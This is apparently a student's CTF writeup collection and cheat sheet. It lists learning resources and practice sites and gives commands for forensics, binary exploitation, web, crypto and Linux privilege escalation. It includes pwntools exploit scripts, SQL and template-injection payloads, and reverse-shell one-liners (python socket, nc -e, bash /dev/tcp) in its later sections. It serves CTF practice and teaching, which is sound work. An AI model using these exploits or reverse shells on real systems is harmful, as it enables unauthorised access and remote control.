Writeups / Files for some of the Cyber CTFs that I've done
I've also included a list of CTF resources as well as a comprehensive cheat sheet covering tons of common CTF challenges
- John Hammond
- Used to make a lot of CTF videos, but has moved on to more malware rev stuff
- Still a ton of useful videos. The CTF ones especially are amazing for teaching brand new baby cyber members how to do things. Highly highly recommend.
- Live Overflow
- Makes extremely interesting and in-depth videos about cyber.
- Has an amazing pwn series
- IppSec
- Best pwner on YouTube.
- Makes writeups of every single HackTheBox machine
- Talks about diff ways to solve and why things work. Highly recommend
- Computerphile
- Same people as Numberphile, but cooler. Makes really beginner-level and intuitive videos about basic concepts.
- pwn.college
- Beautiful, amazing, wonderful ASU professor that has tons of videos on pwn
- Guided course material: https://pwn.college/
- Tons of practice problems: https://dojo.pwn.college/
- PwnFunction
- Very high-quality and easy-to-understand animated videos about diff topics
- Topics are a bit advanced, but easily understandable
- Martin Carlisle
- Princeton Grad - Cyber Professor - picoCTF problem writer - YouTuber - He's got it all!
- Fr makes amazing writeup videos about the picoCTF challenges.
- Sam Bowne
- Absolutely amazing professor at the City College of San Francisco
- Sponsor of one of the best CPTC teams in the country
- Open sources all of his lectures and course material on his website
- UFSIT
- UF Cyber team (I'm a bit biased, but def one of the better YouTube channels for this)
- Gynvael
- Polish guy that competes on an amazing international CTF team
- Makes amazingly intuitive video writeups. Has done the entirety of picoCTF 2019 (that's a lot)
- stacksmashing
- Amazing reverse engineering & hardware hacking videos
- Has a really cool series of him reverse engineering WannaCry
- Ben Greenberg
- GMU prof with a bunch of pwn and malware video tutorials
- A bit out-of-date, but still good
- InfoSecLab at Georgia Tech
- Good & advanced in-depth lectures on pwn
- Requires some background knowledge
- RPISEC
- RPI University team meetings
- Very advanced and assumes a bit of cs background knowledge
I've also made some playlists of diff topics
Here are some slides I've made with the help of tjcsc
- PicoCTF
- Tons of amazing practice challenges.
- Definitely the gold standard for getting started
- UCF
- Good overall, but great pwn practice
- I'm currently working on putting writeups here
- hacker101
- CTF, but slightly more geared toward pentesting
- CSAW
- Down 90% the time and usually none of the connections work
- If it is up though, it has a lot of good introductory challenges
- CTF101
- One of the best intros to CTFs I've seen (gj osiris)
- Very succinct and beginner-friendly
- HackTheBox
- The OG box site
- Boxes are curated to ensure quality
- Now has some CTF-style problems
- Now has courses to start learning
- The OG box site
- TryHackMe
- Slightly easier boxes than HackTheBox
- Step-by-step challenges
- Now has "learning paths" to guide you through topics
- CybersecLabs
- Great collection of boxes
- Has some CTF stuff
- VulnHub
- Has vulnerable virtual machines you have to deploy yourself
- Lots of variety, but hard to find good ones imo
- pwnable.kr
- Challenges with good range of difficulty
- pwnable.tw
- Harder than pwnable.kr
- Has writeups once you solve the chall
- pwnable.xyz
- More pwn challenges
- Has writeups once you solve the chall
- You can upload your own challenges once you solve all of them
- pwn dojo
- Best collection of pwn challenges in my opinion
- Backed up with slides teaching how to do it & has a discord if you need help
- nightmare
- Gold standard for pwning C binaries
- Has a few mistakes/typos, but amazing overall
- pwn notes
- Notes from some random person online
- Very surface-level, but good intro to everything
- Security Summer School
- University of Bucharest Security Course
- Very beginner-friendly explanations
- RPISEC MBE
- RPI's Modern Binary Exploitation Course
- Has a good amount of labs/projects for practice & some (slightly dated) lectures
- how2heap
- Heap Exploitation series made by ASU's CTF team
- Includes a very cool debugger feature to show how the exploits work
- ROPEmporium
- Set of challenges in every major architecture teaching Return-Oriented-Programming
- Very high quality. Teaches the most basic to the most advanced techniques.
- I'm currently adding my own writeups here
- Phoenix Exploit Education
- Tons of binary exploitation problems ordered by difficulty
- Includes source and comes with a VM that has all of the binaries.
- challenges.re
- So many challenges 0_0
- Tons of diversity
- reversing.kr
- crackmes.one
- Tons of crackme (CTF) style challenges
- websec.fr
- Lots of web challenges with a good range of difficulty
- webhacking.kr
- Has archive of lots of good web challenges
- Securing Web Applications
- Open source CCSF Course
- OWASP Juice Shop
- Very much geared toward pentesting, but useful for exploring web in CTFs
- Over 100 vulns/challenges in total
- PortSwigger
- Gold standard for understanding web hacking
- Tons of amazing challenges & explanations
- DVWA
- Very much geared toward pentesting, but useful for exploring web in CTFs
- bWAPP
- Very much geared toward pentesting, but useful for exploring web in CTFs
- CTF Challenge
- Collection of web challenges made by Adam Langley that are made to be as realistic as possible.
- Good for getting bug bounty experience
- CryptoHack
- I'm currently working on putting writeups here
- cryptopals
- The OG crypto challenge site.
- hacker101
- hacksplaining
- Exploit developement
- Open source CCSF Course
- Intro to Security
- UC San Diego course taught by Deian Stefan
- Covers basic pwn and crypto
- Active Directory Cheat Sheet
- WADComs
- Interactive cheat sheet for Windows/AD environments
- LOLBAS
- Interactive cheat sheet for Windows "Living off the land" binaries, scripts, and libraries for exploitation
- GTFOBins
- Interactive cheat sheet for Linux "Living off the land" techniques.
- Really good resource from John Hammond for different types of challenges:
- Another very great cheat sheet for creating and solving challenges:
- file
file <file.xyz>
- Determines the type of file
- steghide
steghide extract -sf <file.xyz>
- Extracts embedded files
- stegseek
stegseek <file> <password list>
- Extracts embedded files using a wordlist
- super super quick
- binwalk
binwalk -M --dd=".*" <file.xyz>
- Extracts embedded files
- exiftool
exiftool <file.xyz>
- Reads metadata
- strings
strings <file.xyz>
- Finds all printable characters in a file
- hexedit
hexedit <file.xyz>
- You may have to change the file signature on some images for them to open
- List of common file signatures
- Ghex (another hex editor but with GUI. Good if you need to jump to a certain byte)
ghex <file.xyz>
- docx files are containers so you can unzip them to find hidden content
unzip <file.docx>
- Grep | A good way to use grep to find the flag recursively:
grep -r --text 'picoCTF{.*}'
egrep -r --text 'picoCTF{.*?}
- You can change 'picoCTF' to the beginning of the flag you are looking for
- Ltrace | Allows you to see what the code is doing as you run the program:
ltrace ./<file>
ltrace -s 100 ./<file>
- Ltrace shortens very long strings. You can use -s to increase how many characters ltrace shows. Good for when looking at strcmp that have large strings.
-
Fax machine audio:
-
SSTV (slow-scan tv) audio (moon stuff)
- Example
- Decoder
- Alt Decoder
- Use these qsstv settings:
-
Spectrogram image
-
Change pitch, speed, direction...
-
DTMF (dual tone multiple frequency) phone keys
multimon-ng -a DTMF -t wav <file.wav>
- Keep in mind that these could me multitap letters.
- This can decode the numbers into text
- Keep in mind that these could me multitap letters.
-
Cassette tape
-
Morse code
-
- Switch through bits
-
- Special tool for extracting images
- Can be used to put together broken images (in pcap for example)
-
- Unpixelate text
-
Check if something was photoshopped (look at highlights)
-
- LSB decoder
-
- jpeg steganography solver
-
- so far the most effective png recovery tool i've found (as long as you don't care about watermarks)
- photopea also works very well
-
- fix height and width of png based on checksum
-
- fix png header and footer info
-
- fix png checksum
-
pngcheck
- find out if there are errors in the png
- pngcheck
- Recovering files
photorec <file.bin>
- You can mount an image as a virtual machine
- Mount a
.img
file:binwalk -M --dd=".*" <fileName>
- run
file
on output and select the Linux filesystem file losetup /dev/loop<freeLoopNumber> <fileSystemFile>
- Extract data with tcpflow
tcpflow -r <file.pcap>
- Extract data with wireshark
- File → Export Objects → Make selection
- For this one, I suggest looking at my LearnPwn repo instead, as this cheatsheet was made before I knew much about pwn
- However, I have included some notes amending to what I have here.
- check security of ELF
checksec <binary>
rabin2 -I <binary>
- look at symbols
readelf -s <binary>
- look at strings
rabin2 -z <binary>
- pack address to byte
- little endian (for 32 bits)
python -c "import pwn; print(pwn.p32(<intAddr>))
- big endian (for 64 bits)
python -c "import pwn; print(pwn.p64(<intAddr>))
- pwntools automatically packs addresses with the correct endianness for you
- little endian (for 32 bits)
- If you ever need to get a /bin/sh shell and you are sure it works but the program exits anyways, use this trick:
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
- pwntools does this with its
process.interactive()
- determine random value
pwn cyclic <numChars>
to generate payloaddmesg | tail | grep segfault
to see where error waspwn cyclic -l 0x<errorLocation>
to see random offset to control instruction pointer- example
- We can use ROP (return oriented programming) to solve
- ROPGadget
- view gadgets & automatically generate ropchains
ROPgadget --ropchain --binary <binary>
- You can then add padding at the start of the code (based on the difference between your buffer and return address) and run the code to get a shell
- Demo
- ropr
Finding the stack canary in a debugger
- Stack canary is a value placed before the EIP/RIP (instruction pointer) that can overwritten by a buffer overflow. The program causes an error basically if the stack is overwritten to something different than it originally was. Our goal is to find the original stack so when we overflow, the program runs normally.
- The stack canary is taken from
gs
, orfs
(for 32 and 64 bit respectively)- In the disassembly, before something is read, you can see a line similar to the following:
0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
- Here, the stack canary is moved into
rax
at offset +8.- Thus, break at the next offset and check what's in rax (
i r rax
) to see what the current canary is
- Thus, break at the next offset and check what's in rax (
Static Canaries
- A canary is only static if it was manually implemented by the programmer (which is the case in some intro pwn challenges), or if you are able to fork the program.
- When you fork the binary, the forked one has the same canary, so you can do a byte-by-byte bruteforce on that
Extra
-
When a stack canary is improperly overwritten, it will cause a call to
__stack_chk_fail
- If we can't leak the canary, we can also modify the GOT table to prevent it from being called
-
The canary is stored in the
TLS
structure of the current stack and is initialized bysecurity_init
- If you can overwrite the real canary value, you can set it equal whatever you decide to overflow.
-
Simple script to bruteforce a static 4 byte canary:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
for letter in range(0,len(alphabet)): # We will go through each letter/number in the string 'alphabet'
p = elf.process() # We start the process
wait = p.recv().decode('utf-8')
p.sendline(str(32+i)) # In this program, we had to specify how many bytes we were gonna send.
wait = p.recv().decode('utf-8')
p.sendline('A'*32 + canary + alphabet[letter]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p.recv().decode('utf-8')
if "Stack" not in prompt: # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet[letter] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print("The canary is: " + canary)
- Look at Table 2 for what to try if you see "printf(buf)" or something like that:
- Highly recommend looking at John Hammond doing 'echooo' challenge from picoCTF 2018
- Sometimes, trying to print only strings from the stack like this: '%s %s %s %s %s %s' may cause errors since not everything in the stack is a string.
- Try to minimize that by doing '%x %x %x %x %x %s' instead
- Instead of having to constantly increase how many %x and %s you type, you can pass a parameter to make it easier:
%1$s
| This will print the first value in the stack (from what I understand, the one right next to your buffer) as a string.%2$s
| This will print the 2nd value as a string, and you get the idea- You can use one-liner loops to try to find the flag by leaking the stack. Press ^C (CTRL + C) to go to the next value.
for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
- You can control how much you leak using different size parameters:
%hhx
leaks 1 byte (half of half of int size)%hx
leaks 2 bytes (half of int size)%x
leaks 4 bytes (int size)%lx
leaks 8 bytes (long size)
- very good video on modifying the stack with fstring vuln and %n:
- Good website to find different shellcode:
-
We will overwrite the EIP to call the system() library function and we will also pass what it should execute, in this example a buffer with "/bin/sh"
-
Good explanation:
-
Good example (go to 3:22:44):
-
Get address for execve("/bin/sh")
one_gadget <libc file>
-
If you already know the libc file and a location (ie. dont have to leak them...)
#!/bin/python3 from pwn import * import os binaryName = 'ret2libc1' # get the address of libc file with ldd libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2] # use one_gadget to see where execve is in that libc file one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i] # pick one of the suitable addresses libc_execve_address = one_gadget_libc_execve_out[1] p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc) # get the address of printf from the binary output printf_loc = int(p.recvuntil('\n').rstrip(), 16) # get the address of printf from libc printf_libc = l.sym['printf'] # calculate the base address of libc libc_base_address = printf_loc - printf_libc # generate payload # 0x17 is from gdb analysis of offset from input to return address offset = 0x17 payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address) # send the payload p.sendline(payload) # enter in interactive so we can use the shell created from our execve payload p.interactive()
Cool Guide: https://opensource.com/article/20/4/linux-binary-analysis
- Ghidra
- Very useful decompiler
- dotPeek or dnSpy
- decompile .NET executables
- jadx and jadx-gui
- decompile apks
- devtoolzone
- decompile java online
- Quiltflower
- Advanced terminal-based java decompiler
- apktool
- decompile apks
apktool d *.apk
- gdb
- radare2
- Binary analysis
- FLOSS
strings
on steroids. Uses static analysis to find and calculate strings
https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
- Here's a version I made for a challenge that uses a time-based attack:
- You might have to run it a couple times just to account for randomness
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context.log_level = 'error'
s = ''
print("*"*keyLen)
for chars in range(keyLen):
a = []
for i in string.printable:
p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
p.readline()
currPass = s + i + '0'*(keyLen - chars - 1)
# print(currPass)
p.sendline(currPass.encode())
p.readline()
p.readline()
p.readline()
info = p.readall().split(b',')[0]
p.close()
try:
a.append((float(info), i))
except:
pass
# print(float(info), i)
a.sort(key = lambda x: x[0])
s += str(a[-1][1])
print(s + "*"*(keyLen - len(s)))
# print(sorted(a, key = lambda x: x[0]))
p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()
- If your flag is being read into a variable or register at any point, you can break after it is moved and run
grep <string>
and gef will automatically show you the string that matches your search pattern
- Nikto (if allowed)
- automatically looks for vulnerabilities
- gobuster (if allowed)
- Brute forces directories and files
- hydra (if allowed)
- Brute forces logins for various services
- BurpSuite
- Intercepts web requests and allows you to modify them
- Wireshark
- Analyze live network traffic and pcap files
- php reverse shell
- Useful for websites that allow you to upload files
- This file needs to be executed on the server to work
- jwt
- You can identify a JWT token since it begins with "ey"
- This site will decode JSON web tokens
- You can crack the secret for the JSON web token to modify and sign your own tokens
echo <token> > jwt.txt
john jwt.txt
- SQL injection
- sqlmap
sqlmap --forms --dump-all -u <url>
- Automates the process of SQL injection
- Basic SQL injection
- Enter
'OR 1=1--
in login form - On the server this will evaluate to
SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
1=1
evaluates to true, which satisfies theOR
statement, and the rest of the query is commented out by the--
- Enter
- sqlmap
- PayloadsAllTheThings
- Great resource for web exploitation with lots of payloads
- Template Injection
- tplmap
- Automated server-side template injection
- Jinja Injection
- {{ config.items() }}
- Flask Injection
- {{config}}
- Python eval() function
__import__.('subprocess').getoutput('<command>')
- make sure to switch the parentheses if it doesn't work
__import__.('subprocess').getoutput('ls').split('\\n')
- list files in system
- More python injection
- tplmap
- Cross Site Scripting
- CSP Evaluator
- Google's Content Security Policy Evaluator
- CSP Evaluator
- FFUF
- Copy the request to the input field and replace the parameter with "FUZZ":
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
- Use
-fs
to filter sizes
- Copy the request to the input field and replace the parameter with "FUZZ":
- CyberChef
- Carries out various cryptography operations
Cipher Detector!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- hashid
- Command-line utility to detect the hash type
-
#### Solver using custom table cipherText = "" plainText = "" flagCipherText = "" tableFile = "" with open(cipherText) as fin: cipher = fin.readline().rstrip() with open(plainText) as fin: plain = fin.readline().rstrip() with open(flagCipherText) as fin: flag = fin.readline().rstrip() with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()] table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break print(key) dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break print(dec_flag)
from Crypto.PublicKey import RSA
keyName = "example.pem"
with open(keyName,'r') as f:
key = RSA.import_key(f.read())
print(key)
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)
# public keys have n and e
-
Use this when you can factor the number
n
- Bad implementations will have more than one prime factor
- Proof
-
Old
def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m p = q = e = c = n = p*q # use factordb command or website to find factors phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1) d = modinv(e, phi) # private key # print(d) m = pow(c,d,n) # decrypted plaintext message in long integer form thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))
-
New
#!/bin/python3 from Crypto.Util.number import * from factordb.factordb import FactorDB # ints: n = e = c = f = FactorDB(n) f.connect() factors = f.get_factor_list() phi = 1 for i in factors: phi *= (i-1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode('UTF-8') print(flag)
-
Website that gives factors and euler's totient (phi)
- Usually used if the exponent is very small (e <= 5)
from Crypto.Util.number import *
def nth_root(radicand, index):
lo = 1
hi = radicand
while hi - lo > 1:
mid = (lo + hi) // 2
if mid ** index > radicand:
hi = mid
else:
lo = mid
if lo ** index == radicand:
return lo
elif hi ** index == radicand:
return hi
else:
return -1
c =
e =
plaintext = long_to_bytes(nth_root(c, e))
print(plaintext.decode("UTF-8"))
- Based on Pollard's factorization method, which makes products of primes easy to factor if they are (B)smooth
- This is the case if
p-1 | B!
andq - 1
has a factor >B
- This is the case if
from Crypto.Util.number import *
from math import gcd
n =
c =
e =
def pollard(n):
a = 2
b = 2
while True:
a = pow(a,b,n)
d = gcd(a-1,n)
if 1 < d < n:
return d
b += 1
p = pollard(n)
q = n // p
phi = 1
for i in [p,q]:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
from Crypto.Util.number import *
import owiener
n =
e =
c =
d = owiener.attack(e, n)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
https://github.com/mufeedvh/basecrack
- ssh
ssh <username>@<ip>
ssh <username>@<ip> -i <private key file>
- Mount SSH in as a file system locally:
sshfs -p <port> <user>@<ip>: <mount_directory>
- Known hosts
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
- netcat
nc <ip> <port>
-
Machine discovery
netdiscover
-
Machine port scanning
nmap -sC -sV <ip>
-
Linux enumeration
enum4linux <ip>
-
SMB enumeration
smbmap -H <ip>
-
Connect to SMB share
smbclient //<ip>/<share>
- linpeas
./linpeas.sh
- Automatically looks for privilege escalation vectors
- List commands we can run as root
sudo -l
- Find files with the SUID permission
find / -perm -u=s -type f 2>/dev/null
- These files execute with the privileges of the owner instead of the user executing them
nc -lnvp <port>
- revshells.com
- templates for basically everything you might need
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -e /bin/sh <ip> <port>
bash -i >& /dev/tcp/<ip>/<port> 0>&1
- Run the following python command to make it partially interactive:
python -c 'import pty;pty.spawn("/bin/bash");'
- Exit the netcat session with
CTRL+Z
and runstty raw -echo
locally - Reenter your session with the command
fg
(and the job id afterward if needed) - Change your terminal emulator to xterm by running
export TERM=xterm
(this might not be necessary) - Change your shell to bash by running
export SHELL=bash
(this might not be necessary) - Done! Now your shell should be fully interactive
- Install
rlwrap
on your system - Now, every time you run a nc listener, just put
rlwrap
in front - For example:
rlwrap nc -lvnp 1337
- This will give you arrow keys and command history, but won't give autocompletion (as far as I can tell) for windows and *nix systems
- pimeyes
- Reverse search faces on the internet
- OSINT Framework
- Website that aggregates tons of OSINT tools.
-
Resolving DNS Errors
dig <site> <recordType>
- List of record types
- Make sure you try TXT
-
Run a binary as a different architecture
- 64 bit:
linux64 ./<binary>
- 32 bit:
linux32 ./<binary>
- 64 bit:
-
Extract MS Macros:
-
View CNC GCode
- TOC generated with ecotrust-canada